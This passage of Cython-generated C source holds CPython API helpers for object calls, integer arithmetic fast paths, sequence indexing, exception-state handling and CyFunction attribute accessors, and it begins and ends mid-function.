unlikely(!PyErr_Occurred())) { PyErr_SetString( PyExc_SystemError, "NULL result without error in PyObject_Call"); } return result; } #endif /* PyObjectCallOneArg */ #if CYTHON_COMPILING_IN_CPYTHON static PyObject* __Pyx__PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_New(1); if (unlikely(!args)) return NULL; Py_INCREF(arg); PyTuple_SET_ITEM(args, 0, arg); result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, &arg, 1); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_O)) { return __Pyx_PyObject_CallMethO(func, arg); #if CYTHON_FAST_PYCCALL } else if (PyCFunction_GET_FLAGS(func) & METH_FASTCALL) { return __Pyx_PyCFunction_FastCall(func, &arg, 1); #endif } } return __Pyx__PyObject_CallOneArg(func, arg); } #else static CYTHON_INLINE PyObject* __Pyx_PyObject_CallOneArg(PyObject *func, PyObject *arg) { PyObject *result; PyObject *args = PyTuple_Pack(1, arg); if (unlikely(!args)) return NULL; result = __Pyx_PyObject_Call(func, args, NULL); Py_DECREF(args); return result; } #endif /* PyObjectCallNoArg */ #if CYTHON_COMPILING_IN_CPYTHON static CYTHON_INLINE PyObject* __Pyx_PyObject_CallNoArg(PyObject *func) { #if CYTHON_FAST_PYCALL if (PyFunction_Check(func)) { return __Pyx_PyFunction_FastCall(func, NULL, 0); } #endif #ifdef __Pyx_CyFunction_USED if (likely(PyCFunction_Check(func) || PyObject_TypeCheck(func, __pyx_CyFunctionType))) { #else if (likely(PyCFunction_Check(func))) { #endif if (likely(PyCFunction_GET_FLAGS(func) & METH_NOARGS)) { return __Pyx_PyObject_CallMethO(func, NULL); } } return __Pyx_PyObject_Call(func, __pyx_empty_tuple, NULL); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_TrueDivideObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long a = PyInt_AS_LONG(op1); if (8 * sizeof(long) <= 53 || likely(labs(a) <= (1L << 53))) { return PyFloat_FromDouble((double)a / (double)b); } return PyInt_Type.tp_as_number->nb_true_divide(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT && 1 * PyLong_SHIFT < 53) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT && 1 * PyLong_SHIFT < 53) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT && 2 * PyLong_SHIFT < 53) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT && 2 * PyLong_SHIFT < 53) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT && 3 * PyLong_SHIFT < 53) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT && 3 * PyLong_SHIFT < 53) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; } default: return PyLong_Type.tp_as_number->nb_true_divide(op1, op2); } } if ((8 * sizeof(long) <= 53 || likely(labs(a) <= (1L << 53))) || __Pyx_sst_abs(size) <= 52 / PyLong_SHIFT) { return PyFloat_FromDouble((double)a / (double)b); } return PyLong_Type.tp_as_number->nb_true_divide(op1, op2); return PyLong_FromLong(x); } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("divide", return NULL) result = ((double)a) / (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceTrueDivide : PyNumber_TrueDivide)(op1, op2); } #endif /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_RemainderObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = a % b; x += ((x != 0) & ((x ^ b) < 0)) * b; return PyInt_FromLong(x); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_remainder(op1, op2); } } x = a % b; x += ((x != 0) & ((x ^ b) < 0)) * b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla % llb; llx += ((llx != 0) & ((llx ^ llb) < 0)) * llb; return PyLong_FromLongLong(llx); #endif } #endif return (inplace ? PyNumber_InPlaceRemainder : PyNumber_Remainder)(op1, op2); } #endif /* GetItemInt */ static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Generic(PyObject *o, PyObject* j) { PyObject *r; if (!j) return NULL; r = PyObject_GetItem(o, j); Py_DECREF(j); return r; } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_List_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyList_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyList_GET_SIZE(o)))) { PyObject *r = PyList_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Tuple_Fast(PyObject *o, Py_ssize_t i, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS if (wraparound & unlikely(i < 0)) i += PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((0 <= i) & (i < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, i); Py_INCREF(r); return r; } return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); #else return PySequence_GetItem(o, i); #endif } static CYTHON_INLINE PyObject *__Pyx_GetItemInt_Fast(PyObject *o, Py_ssize_t i, int is_list, CYTHON_NCP_UNUSED int wraparound, CYTHON_NCP_UNUSED int boundscheck) { #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS && CYTHON_USE_TYPE_SLOTS if (is_list || PyList_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyList_GET_SIZE(o); if ((!boundscheck) || (likely((n >= 0) & (n < PyList_GET_SIZE(o))))) { PyObject *r = PyList_GET_ITEM(o, n); Py_INCREF(r); return r; } } else if (PyTuple_CheckExact(o)) { Py_ssize_t n = ((!wraparound) | likely(i >= 0)) ? i : i + PyTuple_GET_SIZE(o); if ((!boundscheck) || likely((n >= 0) & (n < PyTuple_GET_SIZE(o)))) { PyObject *r = PyTuple_GET_ITEM(o, n); Py_INCREF(r); return r; } } else { PySequenceMethods *m = Py_TYPE(o)->tp_as_sequence; if (likely(m && m->sq_item)) { if (wraparound && unlikely(i < 0) && likely(m->sq_length)) { Py_ssize_t l = m->sq_length(o); if (likely(l >= 0)) { i += l; } else { if (!PyErr_ExceptionMatches(PyExc_OverflowError)) return NULL; PyErr_Clear(); } } return m->sq_item(o, i); } } #else if (is_list || PySequence_Check(o)) { return PySequence_GetItem(o, i); } #endif return __Pyx_GetItemInt_Generic(o, PyInt_FromSsize_t(i)); } /* PyIntBinop */ #if !CYTHON_COMPILING_IN_PYPY static PyObject* __Pyx_PyInt_SubtractObjC(PyObject *op1, PyObject *op2, CYTHON_UNUSED long intval, CYTHON_UNUSED int inplace) { #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(op1))) { const long b = intval; long x; long a = PyInt_AS_LONG(op1); x = (long)((unsigned long)a - b); if (likely((x^a) >= 0 || (x^~b) >= 0)) return PyInt_FromLong(x); return PyLong_Type.tp_as_number->nb_subtract(op1, op2); } #endif #if CYTHON_USE_PYLONG_INTERNALS if (likely(PyLong_CheckExact(op1))) { const long b = intval; long a, x; #ifdef HAVE_LONG_LONG const PY_LONG_LONG llb = intval; PY_LONG_LONG lla, llx; #endif const digit* digits = ((PyLongObject*)op1)->ob_digit; const Py_ssize_t size = Py_SIZE(op1); if (likely(__Pyx_sst_abs(size) <= 1)) { a = likely(size) ? digits[0] : 0; if (size == -1) a = -a; } else { switch (size) { case -2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = -(long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 2: if (8 * sizeof(long) - 1 > 2 * PyLong_SHIFT) { a = (long) (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 2 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = -(long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 3: if (8 * sizeof(long) - 1 > 3 * PyLong_SHIFT) { a = (long) (((((((unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 3 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case -4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = -(long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = -(PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } case 4: if (8 * sizeof(long) - 1 > 4 * PyLong_SHIFT) { a = (long) (((((((((unsigned long)digits[3]) << PyLong_SHIFT) | (unsigned long)digits[2]) << PyLong_SHIFT) | (unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0])); break; #ifdef HAVE_LONG_LONG } else if (8 * sizeof(PY_LONG_LONG) - 1 > 4 * PyLong_SHIFT) { lla = (PY_LONG_LONG) (((((((((unsigned PY_LONG_LONG)digits[3]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[2]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[1]) << PyLong_SHIFT) | (unsigned PY_LONG_LONG)digits[0])); goto long_long; #endif } default: return PyLong_Type.tp_as_number->nb_subtract(op1, op2); } } x = a - b; return PyLong_FromLong(x); #ifdef HAVE_LONG_LONG long_long: llx = lla - llb; return PyLong_FromLongLong(llx); #endif } #endif if (PyFloat_CheckExact(op1)) { const long b = intval; double a = PyFloat_AS_DOUBLE(op1); double result; PyFPE_START_PROTECT("subtract", return NULL) result = ((double)a) - (double)b; PyFPE_END_PROTECT(result) return PyFloat_FromDouble(result); } return (inplace ? PyNumber_InPlaceSubtract : PyNumber_Subtract)(op1, op2); } #endif /* SaveResetException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSave(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->exc_type; *value = tstate->exc_value; *tb = tstate->exc_traceback; Py_XINCREF(*type); Py_XINCREF(*value); Py_XINCREF(*tb); } static CYTHON_INLINE void __Pyx__ExceptionReset(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = type; tstate->exc_value = value; tstate->exc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } #endif /* PyErrExceptionMatches */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE int __Pyx_PyErr_ExceptionMatchesInState(PyThreadState* tstate, PyObject* err) { PyObject *exc_type = tstate->curexc_type; if (exc_type == err) return 1; if (unlikely(!exc_type)) return 0; return PyErr_GivenExceptionMatches(exc_type, err); } #endif /* GetException */ #if CYTHON_FAST_THREAD_STATE static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { #else static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) { #endif PyObject *local_type, *local_value, *local_tb; #if CYTHON_FAST_THREAD_STATE PyObject *tmp_type, *tmp_value, *tmp_tb; local_type = tstate->curexc_type; local_value = tstate->curexc_value; local_tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; #else PyErr_Fetch(&local_type, &local_value, &local_tb); #endif PyErr_NormalizeException(&local_type, &local_value, &local_tb); #if CYTHON_FAST_THREAD_STATE if (unlikely(tstate->curexc_type)) #else if (unlikely(PyErr_Occurred())) #endif goto bad; #if PY_MAJOR_VERSION >= 3 if (local_tb) { if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) goto bad; } #endif Py_XINCREF(local_tb); Py_XINCREF(local_type); Py_XINCREF(local_value); *type = local_type; *value = local_value; *tb = local_tb; #if CYTHON_FAST_THREAD_STATE tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = local_type; tstate->exc_value = local_value; tstate->exc_traceback = local_tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); #else PyErr_SetExcInfo(local_type, local_value, local_tb); #endif return 0; bad: *type = 0; *value = 0; *tb = 0; Py_XDECREF(local_type); Py_XDECREF(local_value); Py_XDECREF(local_tb); return -1; } /* PyErrFetchRestore */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx_ErrRestoreInState(PyThreadState *tstate, PyObject *type, PyObject *value, PyObject *tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->curexc_type; tmp_value = tstate->curexc_value; tmp_tb = tstate->curexc_traceback; tstate->curexc_type = type; tstate->curexc_value = value; tstate->curexc_traceback = tb; Py_XDECREF(tmp_type); Py_XDECREF(tmp_value); Py_XDECREF(tmp_tb); } static CYTHON_INLINE void __Pyx_ErrFetchInState(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { *type = tstate->curexc_type; *value = tstate->curexc_value; *tb = tstate->curexc_traceback; tstate->curexc_type = 0; tstate->curexc_value = 0; tstate->curexc_traceback = 0; } #endif /* SwapException */ #if CYTHON_FAST_THREAD_STATE static CYTHON_INLINE void __Pyx__ExceptionSwap(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; tmp_type = tstate->exc_type; tmp_value = tstate->exc_value; tmp_tb = tstate->exc_traceback; tstate->exc_type = *type; tstate->exc_value = *value; tstate->exc_traceback = *tb; *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #else static CYTHON_INLINE void __Pyx_ExceptionSwap(PyObject **type, PyObject **value, PyObject **tb) { PyObject *tmp_type, *tmp_value, *tmp_tb; PyErr_GetExcInfo(&tmp_type, &tmp_value, &tmp_tb); PyErr_SetExcInfo(*type, *value, *tb); *type = tmp_type; *value = tmp_value; *tb = tmp_tb; } #endif /* FetchCommonType */ static PyTypeObject* __Pyx_FetchCommonType(PyTypeObject* type) { PyObject* fake_module; PyTypeObject* cached_type = NULL; fake_module = PyImport_AddModule((char*) "_cython_" CYTHON_ABI); if (!fake_module) return NULL; Py_INCREF(fake_module); cached_type = (PyTypeObject*) PyObject_GetAttrString(fake_module, type->tp_name); if (cached_type) { if (!PyType_Check((PyObject*)cached_type)) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s is not a type object", type->tp_name); goto bad; } if (cached_type->tp_basicsize != type->tp_basicsize) { PyErr_Format(PyExc_TypeError, "Shared Cython type %.200s has the wrong size, try recompiling", type->tp_name); goto bad; } } else { if (!PyErr_ExceptionMatches(PyExc_AttributeError)) goto bad; PyErr_Clear(); if (PyType_Ready(type) < 0) goto bad; if (PyObject_SetAttrString(fake_module, type->tp_name, (PyObject*) type) < 0) goto bad; Py_INCREF(type); cached_type = type; } done: Py_DECREF(fake_module); return cached_type; bad: Py_XDECREF(cached_type); cached_type = NULL; goto done; } /* CythonFunction */ static PyObject * __Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, CYTHON_UNUSED void *closure) { if (unlikely(op->func_doc == NULL)) { if (op->func.m_ml->ml_doc) { #if PY_MAJOR_VERSION >= 3 op->func_doc = PyUnicode_FromString(op->func.m_ml->ml_doc); #else op->func_doc = PyString_FromString(op->func.m_ml->ml_doc); #endif if (unlikely(op->func_doc == NULL)) return NULL; } else { Py_INCREF(Py_None); return Py_None; } } Py_INCREF(op->func_doc); return op->func_doc; } static int __Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp = op->func_doc; if (value == NULL) { value = Py_None; } Py_INCREF(value); op->func_doc = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op) { if (unlikely(op->func_name == NULL)) { #if PY_MAJOR_VERSION >= 3 op->func_name = PyUnicode_InternFromString(op->func.m_ml->ml_name); #else op->func_name = PyString_InternFromString(op->func.m_ml->ml_name); #endif if (unlikely(op->func_name == NULL)) return NULL; } Py_INCREF(op->func_name); return op->func_name; } static int __Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__name__ must be set to a string object"); return -1; } tmp = op->func_name; Py_INCREF(value); op->func_name = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_qualname); return op->func_qualname; } static int __Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; #if PY_MAJOR_VERSION >= 3 if (unlikely(value == NULL || !PyUnicode_Check(value))) { #else if (unlikely(value == NULL || !PyString_Check(value))) { #endif PyErr_SetString(PyExc_TypeError, "__qualname__ must be set to a string object"); return -1; } tmp = op->func_qualname; Py_INCREF(value); op->func_qualname = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_self(__pyx_CyFunctionObject *m, CYTHON_UNUSED void *closure) { PyObject *self; self = m->func_closure; if (self == NULL) self = Py_None; Py_INCREF(self); return self; } static PyObject * __Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op) { if (unlikely(op->func_dict == NULL)) { op->func_dict = PyDict_New(); if (unlikely(op->func_dict == NULL)) return NULL; } Py_INCREF(op->func_dict); return op->func_dict; } static int __Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value) { PyObject *tmp; if (unlikely(value == NULL)) { PyErr_SetString(PyExc_TypeError, "function's dictionary may not be deleted"); return -1; } if (unlikely(!PyDict_Check(value))) { PyErr_SetString(PyExc_TypeError, "setting function's dictionary to a non-dict"); return -1; } tmp = op->func_dict; Py_INCREF(value); op->func_dict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op) { Py_INCREF(op->func_globals); return op->func_globals; } static PyObject * __Pyx_CyFunction_get_closure(CYTHON_UNUSED __pyx_CyFunctionObject *op) { Py_INCREF(Py_None); return Py_None; } static PyObject * __Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op) { PyObject* result = (op->func_code) ? op->func_code : Py_None; Py_INCREF(result); return result; } static int __Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { int result = 0; PyObject *res = op->defaults_getter((PyObject *) op); if (unlikely(!res)) return -1; #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS op->defaults_tuple = PyTuple_GET_ITEM(res, 0); Py_INCREF(op->defaults_tuple); op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); Py_INCREF(op->defaults_kwdict); #else op->defaults_tuple = PySequence_ITEM(res, 0); if (unlikely(!op->defaults_tuple)) result = -1; else { op->defaults_kwdict = PySequence_ITEM(res, 1); if (unlikely(!op->defaults_kwdict)) result = -1; } #endif Py_DECREF(res); return result; } static int __Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyTuple_Check(value)) { PyErr_SetString(PyExc_TypeError, "__defaults__ must be set to a tuple object"); return -1; } Py_INCREF(value); tmp = op->defaults_tuple; op->defaults_tuple = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_tuple; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_tuple; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value) { value = Py_None; } else if (value != Py_None && !PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__kwdefaults__ must be set to a dict object"); return -1; } Py_INCREF(value); tmp = op->defaults_kwdict; op->defaults_kwdict = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op) { PyObject* result = op->defaults_kwdict; if (unlikely(!result)) { if (op->defaults_getter) { if (__Pyx_CyFunction_init_defaults(op) < 0) return NULL; result = op->defaults_kwdict; } else { result = Py_None; } } Py_INCREF(result); return result; } static int __Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value) { PyObject* tmp; if (!value || value == Py_None) { value = NULL; } else if (!PyDict_Check(value)) { PyErr_SetString(PyExc_TypeError, "__annotations__ must be set to a dict object"); return -1; } Py_XINCREF(value); tmp = op->func_annotations; op->func_annotations = value; Py_XDECREF(tmp); return 0; } static PyObject * __Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op) { PyObject* result = op->func_annotations; if (unlikely(!result)) { result = PyDict_New(); if (unlikely(!result)) return NULL; op->func_annotations = result; } Py_INCREF(result); return result; } static PyGetSetDef __pyx_CyFunction_getsets[] = { {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, 